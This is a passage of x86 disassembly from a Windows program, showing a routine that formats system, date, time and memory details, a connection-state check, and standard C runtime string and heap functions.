loc_417B23:				; CODE XREF: sub_4179BF+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_417B28:				; CODE XREF: sub_4179BF+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_4185E6
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_424074	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43D17C
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		call	dword_424108	; GetDateFormatA
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		call	dword_424104	; GetTimeFormatA
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_424178	; GlobalMemoryStatus
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_418731
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_968]
		push	eax
		call	sub_41491E
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_4178B6
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_409C7B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_41480F
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_41480F
		pop	ecx
		pop	ecx
		push	eax
		call	sub_417909
		push	edx
		push	eax
		push	offset dword_43D0A0
		push	200h
		push	[ebp+arg_0]
		call	sub_4186E0
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4179BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417C73	proc near		; CODE XREF: sub_401AA1+22D1p
					; sub_401AA1+68A4p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_4182F0
		add	esp, 0Ch
		cmp	dword_4CDFC4, 0
		jnz	short loc_417CE7
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CDDBC	; InternetGetConnectedStateEx
		test	eax, eax
		jnz	short loc_417CC8
		lea	eax, [ebp+var_8C]
		push	offset dword_43D1FC
		push	eax
		call	sub_4185E6
		pop	ecx
		pop	ecx


loc_417CC8:				; CODE XREF: sub_417C73+40j
		test	[ebp+var_C], 1
		lea	eax, [ebp+var_8]
		jz	short loc_417CE0
		push	offset dword_43D1F4


loc_417CD6:				; CODE XREF: sub_417C73+72j
		push	eax
		call	sub_4185E6
		pop	ecx
		pop	ecx
		jmp	short loc_417D06
; ---------------------------------------------------------------------------


loc_417CE0:				; CODE XREF: sub_417C73+5Cj
		push	offset off_43D1F0
		jmp	short loc_417CD6
; ---------------------------------------------------------------------------


loc_417CE7:				; CODE XREF: sub_417C73+28j
		mov	esi, offset off_43D1EC
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_4185E6
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		call	sub_4185E6
		add	esp, 10h


loc_417D06:				; CODE XREF: sub_417C73+6Bj
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_409C7B
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43D1A8
		push	200h
		push	[ebp+arg_0]
		call	sub_4186E0
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_417C73	endp

; ---------------------------------------------------------------------------
		align 2

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_417D3A	proc near		; CODE XREF: sub_40D5AA+185p
		jmp	dword_4241C4
sub_417D3A	endp


; =============== S U B	R O U T	I N E =======================================



sub_417D40	proc near		; CODE XREF: sub_401000+38p
					; sub_40121E+14Ap ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417D60


loc_417D4C:				; CODE XREF: sub_417D40+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417D93
		test	ecx, 3
		jnz	short loc_417D4C
		add	eax, 0


loc_417D60:				; CODE XREF: sub_417D40+Aj
					; sub_417D40+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417D60
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417DB1
		test	ah, ah
		jz	short loc_417DA7
		test	eax, 0FF0000h
		jz	short loc_417D9D
		test	eax, 0FF000000h
		jz	short loc_417D93
		jmp	short loc_417D60
; ---------------------------------------------------------------------------


loc_417D93:				; CODE XREF: sub_417D40+11j
					; sub_417D40+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417D9D:				; CODE XREF: sub_417D40+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417DA7:				; CODE XREF: sub_417D40+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417DB1:				; CODE XREF: sub_417D40+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_417D40	endp


; =============== S U B	R O U T	I N E =======================================



sub_417DBB	proc near		; CODE XREF: sub_4010AA+62p
					; sub_401AA1+502Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_417DD0
		or	eax, 0FFFFFFFFh
		jmp	short loc_417E0A
; ---------------------------------------------------------------------------


loc_417DD0:				; CODE XREF: sub_417DBB+Ej
		test	al, 83h
		jz	short loc_417E08
		push	esi
		call	sub_41A76B
		push	esi
		mov	edi, eax
		call	sub_41A705
		push	dword ptr [esi+10h]
		call	sub_41A652
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_417DF6
		or	edi, 0FFFFFFFFh
		jmp	short loc_417E08
; ---------------------------------------------------------------------------


loc_417DF6:				; CODE XREF: sub_417DBB+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_417E08
		push	eax
		call	sub_417E11
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_417E08:				; CODE XREF: sub_417DBB+17j
					; sub_417DBB+39j ...
		mov	eax, edi


loc_417E0A:				; CODE XREF: sub_417DBB+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_417DBB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E11	proc near		; CODE XREF: sub_4010AA+5Cp
					; sub_409BA3+C3p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_417E77
		mov	eax, dword_4DE408
		cmp	eax, 3
		jnz	short loc_417E3D
		push	esi
		call	sub_41AA57
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_417E69
		push	eax
		call	sub_41AA82
		pop	ecx
		pop	ecx
		jmp	short loc_417E77
; ---------------------------------------------------------------------------


loc_417E3D:				; CODE XREF: sub_417E11+14j
		cmp	eax, 2
		jnz	short loc_417E68
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41B7B2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417E68
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41B809
		add	esp, 0Ch
		jmp	short loc_417E77
; ---------------------------------------------------------------------------


loc_417E68:				; CODE XREF: sub_417E11+2Fj
					; sub_417E11+44j
		push	esi


loc_417E69:				; CODE XREF: sub_417E11+20j
		push	0
		push	dword_4DE404
		call	dword_42417C	; RtlFreeHeap


loc_417E77:				; CODE XREF: sub_417E11+Aj
					; sub_417E11+2Aj ...
		pop	esi
		leave
		retn
sub_417E11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417E7A	proc near		; CODE XREF: sub_4010AA+43p
					; sub_40E5CD+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_417E9E
		xor	eax, eax
		jmp	loc_417F47
; ---------------------------------------------------------------------------


loc_417E9E:				; CODE XREF: sub_417E7A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417EB1
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_417EBD
; ---------------------------------------------------------------------------


loc_417EB1:				; CODE XREF: sub_417E7A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_417EBD
; ---------------------------------------------------------------------------


loc_417EBA:				; CODE XREF: sub_417E7A+C4j
		mov	ecx, [ebp+arg_0]


loc_417EBD:				; CODE XREF: sub_417E7A+35j
					; sub_417E7A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_417EEF
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_417EEF
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_417ED4
		mov	edi, eax


loc_417ED4:				; CODE XREF: sub_417E7A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_419070
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_417F3A
; ---------------------------------------------------------------------------


loc_417EEF:				; CODE XREF: sub_417E7A+49j
					; sub_417E7A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_417F22
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_417F05
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_417F05:				; CODE XREF: sub_417E7A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41BCFC
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_417F4C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_417F52
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_417F3A
; ---------------------------------------------------------------------------


loc_417F22:				; CODE XREF: sub_417E7A+78j
		push	esi
		call	sub_41BC23
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_417F56
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_417F3A:				; CODE XREF: sub_417E7A+73j
					; sub_417E7A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_417EBA
		mov	eax, [ebp+arg_8]


loc_417F47:				; CODE XREF: sub_417E7A+1Fj
					; sub_417E7A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_417F4C:				; CODE XREF: sub_417E7A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_417F56
; ---------------------------------------------------------------------------


loc_417F52:				; CODE XREF: sub_417E7A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_417F56:				; CODE XREF: sub_417E7A+B2j
					; sub_417E7A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_417F47
sub_417E7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F62	proc near		; CODE XREF: sub_4010AA+2Cp
					; sub_419D33+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_417F7D
		push	[ebp+arg_4]
		call	sub_418235
		pop	ecx
		jmp	loc_4181FD
; ---------------------------------------------------------------------------


loc_417F7D:				; CODE XREF: sub_417F62+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_417F92
		push	[ebp+arg_0]
		call	sub_417E11
		pop	ecx
		jmp	loc_4181FB
; ---------------------------------------------------------------------------


loc_417F92:				; CODE XREF: sub_417F62+20j
		mov	eax, dword_4DE408
		cmp	eax, 3
		jnz	loc_4180A2


loc_417FA0:				; CODE XREF: sub_417F62+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41807E
		push	[ebp+arg_0]
		call	sub_41AA57
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_418059
		cmp	esi, dword_4DE400
		ja	short loc_418012
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B260
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41800E
		push	esi
		call	sub_41ADAB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_418012
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_417FF2
		mov	eax, esi


loc_417FF2:				; CODE XREF: sub_417F62+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_419070
		push	ebx
		call	sub_41AA57
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41AA82
		add	esp, 18h


loc_41800E:				; CODE XREF: sub_417F62+74j
		test	edi, edi
		jnz	short loc_418055


loc_418012:				; CODE XREF: sub_417F62+62j
					; sub_417F62+81j
		test	esi, esi
		jnz	short loc_418019
		push	1
		pop	esi


loc_418019:				; CODE XREF: sub_417F62+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DE404
		call	dword_424184	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_418055
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_418041
		mov	eax, esi


loc_418041:				; CODE XREF: sub_417F62+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_419070
		push	[ebp+arg_0]
		push	ebx
		call	sub_41AA82
		add	esp, 14h


loc_418055:				; CODE XREF: sub_417F62+AEj
					; sub_417F62+D0j
		test	ebx, ebx
		jnz	short loc_41807A


loc_418059:				; CODE XREF: sub_417F62+56j
		test	esi, esi
		jnz	short loc_418060
		push	1
		pop	esi


loc_418060:				; CODE XREF: sub_417F62+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DE404
		call	dword_424180	; RtlReAllocateHeap
		mov	edi, eax


loc_41807A:				; CODE XREF: sub_417F62+F5j
		test	edi, edi
		jnz	short loc_41809B


loc_41807E:				; CODE XREF: sub_417F62+43j
		cmp	dword_4DCDFC, 0
		jz	short loc_41809B
		push	esi
		call	sub_41BEF2
		test	eax, eax
		pop	ecx
		jnz	loc_417FA0
		jmp	loc_4181FB
; ---------------------------------------------------------------------------


loc_41809B:				; CODE XREF: sub_417F62+11Aj
					; sub_417F62+123j ...
		mov	eax, edi
		jmp	loc_4181FD
; ---------------------------------------------------------------------------


loc_4180A2:				; CODE XREF: sub_417F62+38j
		cmp	eax, 2
		jnz	loc_4181BD
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4180BF
		test	esi, esi
		jbe	short loc_4180BC
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4180BF
; ---------------------------------------------------------------------------


loc_4180BC:				; CODE XREF: sub_417F62+150j
		push	10h
		pop	esi


loc_4180BF:				; CODE XREF: sub_417F62+14Cj
					; sub_417F62+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41819F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41B7B2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_418183
		cmp	esi, dword_43F284
		jnb	short loc_418147
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB7A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41810D
		mov	edi, [ebp+arg_0]
		jmp	short loc_41813F
; ---------------------------------------------------------------------------


loc_41810D:				; CODE XREF: sub_417F62+1A4j
		push	edi
		call	sub_41B84E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_418147
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_418126
		mov	eax, esi


loc_418126:				; CODE XREF: sub_417F62+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_419070
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41B809
		add	esp, 18h


loc_41813F:				; CODE XREF: sub_417F62+1A9j
		test	edi, edi
		jnz	loc_41809B


loc_418147:				; CODE XREF: sub_417F62+18Bj
					; sub_417F62+1B6j
		push	esi
		push	0
		push	dword_4DE404
		call	dword_424184	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_41819F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_418168
		mov	eax, esi


loc_418168:				; CODE XREF: sub_417F62+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_419070
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41B809
		add	esp, 18h
		jmp	short loc_418197
; ---------------------------------------------------------------------------


loc_418183:				; CODE XREF: sub_417F62+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DE404
		call	dword_424180	; RtlReAllocateHeap
		mov	edi, eax


loc_418197:				; CODE XREF: sub_417F62+21Fj
		test	edi, edi
		jnz	loc_41809B


loc_41819F:				; CODE XREF: sub_417F62+162j
					; sub_417F62+1F8j
		cmp	dword_4DCDFC, 0
		jz	loc_41809B
		push	esi
		call	sub_41BEF2
		test	eax, eax
		pop	ecx
		jnz	loc_4180BF
		jmp	short loc_4181FB
; ---------------------------------------------------------------------------


loc_4181BD:				; CODE XREF: sub_417F62+143j
					; sub_417F62+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4181E7
		test	esi, esi
		jnz	short loc_4181CB
		push	1
		pop	esi


loc_4181CB:				; CODE XREF: sub_417F62+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DE404
		call	dword_424180	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_4181FD


loc_4181E7:				; CODE XREF: sub_417F62+260j
		cmp	dword_4DCDFC, 0
		jz	short loc_4181FD
		push	esi
		call	sub_41BEF2
		test	eax, eax
		pop	ecx
		jnz	short loc_4181BD


loc_4181FB:				; CODE XREF: sub_417F62+2Bj
					; sub_417F62+134j ...
		xor	eax, eax


loc_4181FD:				; CODE XREF: sub_417F62+16j
					; sub_417F62+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417F62	endp


; =============== S U B	R O U T	I N E =======================================



sub_418202	proc near		; CODE XREF: sub_418222+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41C07D
		test	eax, eax
		jnz	short loc_41820C
		retn
; ---------------------------------------------------------------------------


loc_41820C:				; CODE XREF: sub_418202+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BF0D
		add	esp, 10h
		retn
sub_418202	endp


; =============== S U B	R O U T	I N E =======================================



sub_418222	proc near		; CODE XREF: sub_4010AA+18p
					; sub_401AA1+5000p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_418202
		add	esp, 0Ch
		retn
sub_418222	endp


; =============== S U B	R O U T	I N E =======================================



sub_418235	proc near		; CODE XREF: sub_4010AA+6p
					; sub_409BA3+5Fp ...

arg_0		= dword	ptr  4

		push	dword_4DCDFC
		push	[esp+4+arg_0]
		call	sub_418247
		pop	ecx
		pop	ecx
		retn
sub_418235	endp


; =============== S U B	R O U T	I N E =======================================



sub_418247	proc near		; CODE XREF: sub_418235+Ap
					; sub_419D25+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_418270


loc_41824E:				; CODE XREF: sub_418247+27j
		push	[esp+arg_0]
		call	sub_418273
		test	eax, eax
		pop	ecx
		jnz	short locret_418272
		cmp	[esp+arg_4], eax
		jz	short locret_418272
		push	[esp+arg_0]
		call	sub_41BEF2
		test	eax, eax
		pop	ecx
		jnz	short loc_41824E


loc_418270:				; CODE XREF: sub_418247+5j
		xor	eax, eax

locret_418272:				; CODE XREF: sub_418247+13j
					; sub_418247+19j
		retn
sub_418247	endp


; =============== S U B	R O U T	I N E =======================================



sub_418273	proc near		; CODE XREF: sub_418247+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DE408
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_418297
		cmp	esi, dword_4DE400
		ja	short loc_4182C9
		push	esi
		call	sub_41ADAB
		test	eax, eax
		pop	ecx
		jz	short loc_4182C9
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_418297:				; CODE XREF: sub_418273+Dj
		cmp	eax, 2
		jnz	short loc_4182C9
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_4182AC
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_4182AF
; ---------------------------------------------------------------------------


loc_4182AC:				; CODE XREF: sub_418273+2Fj
		push	10h
		pop	esi


loc_4182AF:				; CODE XREF: sub_418273+37j
		cmp	esi, dword_43F284
		ja	short loc_4182D6
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41B84E
		test	eax, eax
		pop	ecx
		jnz	short loc_4182E5
		jmp	short loc_4182D6
; ---------------------------------------------------------------------------


loc_4182C9:				; CODE XREF: sub_418273+15j
					; sub_418273+20j ...
		test	esi, esi
		jnz	short loc_4182D0
		push	1
		pop	esi


loc_4182D0:				; CODE XREF: sub_418273+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4182D6:				; CODE XREF: sub_418273+42j
					; sub_418273+54j
		push	esi
		push	0
		push	dword_4DE404
		call	dword_424184	; RtlAllocateHeap


loc_4182E5:				; CODE XREF: sub_418273+52j
		pop	esi
		retn
sub_418273	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4182F0	proc near		; CODE XREF: sub_40111A+3Cp
					; sub_40111A+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_418343
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_418337
		neg	ecx
		and	ecx, 3
		jz	short loc_418319
		sub	edx, ecx


loc_418313:				; CODE XREF: sub_4182F0+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_418313


loc_418319:				; CODE XREF: sub_4182F0+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_418337
		rep stosd
		test	edx, edx
		jz	short loc_41833D


loc_418337:				; CODE XREF: sub_4182F0+18j
					; sub_4182F0+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_418337


loc_41833D:				; CODE XREF: sub_4182F0+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_418343:				; CODE XREF: sub_4182F0+Aj
		mov	eax, [esp+arg_0]
		retn
sub_4182F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_418350	proc near		; CODE XREF: sub_40121E+48Ap
					; sub_40121E+4A6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_4183D3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_418374
		shr	ecx, 2
		jnz	short loc_4183E1
		jmp	short loc_418395
; ---------------------------------------------------------------------------


loc_418374:				; CODE XREF: sub_418350+1Bj
					; sub_418350+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_4183A2
		test	al, al
		jz	short loc_4183AA
		test	esi, 3
		jnz	short loc_418374
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4183E1


loc_418390:				; CODE XREF: sub_418350+8Fj
		and	ebx, 3
		jz	short loc_4183A2


loc_418395:				; CODE XREF: sub_418350+22j
					; sub_418350+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_4183CE
		dec	ebx
		jnz	short loc_418395


loc_4183A2:				; CODE XREF: sub_418350+2Bj
					; sub_418350+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4183AA:				; CODE XREF: sub_418350+2Fj
		test	edi, 3
		jz	short loc_4183C4


loc_4183B2:				; CODE XREF: sub_418350+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_418446
		test	edi, 3
		jnz	short loc_4183B2


loc_4183C4:				; CODE XREF: sub_418350+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_418437


loc_4183CB:				; CODE XREF: sub_418350+7Fj
					; sub_418350+F4j
		mov	[edi], al
		inc	edi


loc_4183CE:				; CODE XREF: sub_418350+4Dj
		dec	ebx
		jnz	short loc_4183CB
		pop	ebx
		pop	esi


loc_4183D3:				; CODE XREF: sub_418350+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4183D9:				; CODE XREF: sub_418350+A9j
					; sub_418350+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_418390


loc_4183E1:				; CODE XREF: sub_418350+20j
					; sub_418350+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4183D9
		test	dl, dl
		jz	short loc_41842B
		test	dh, dh
		jz	short loc_418421
		test	edx, 0FF0000h
		jz	short loc_418417
		test	edx, 0FF000000h
		jnz	short loc_4183D9
		mov	[edi], edx
		jmp	short loc_41842F
; ---------------------------------------------------------------------------


loc_418417:				; CODE XREF: sub_418350+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41842F
; ---------------------------------------------------------------------------


loc_418421:				; CODE XREF: sub_418350+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41842F
; ---------------------------------------------------------------------------


loc_41842B:				; CODE XREF: sub_418350+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41842F:				; CODE XREF: sub_418350+C5j
					; sub_418350+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_418441


loc_418437:				; CODE XREF: sub_418350+79j
		xor	eax, eax


loc_418439:				; CODE XREF: sub_418350+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_418439


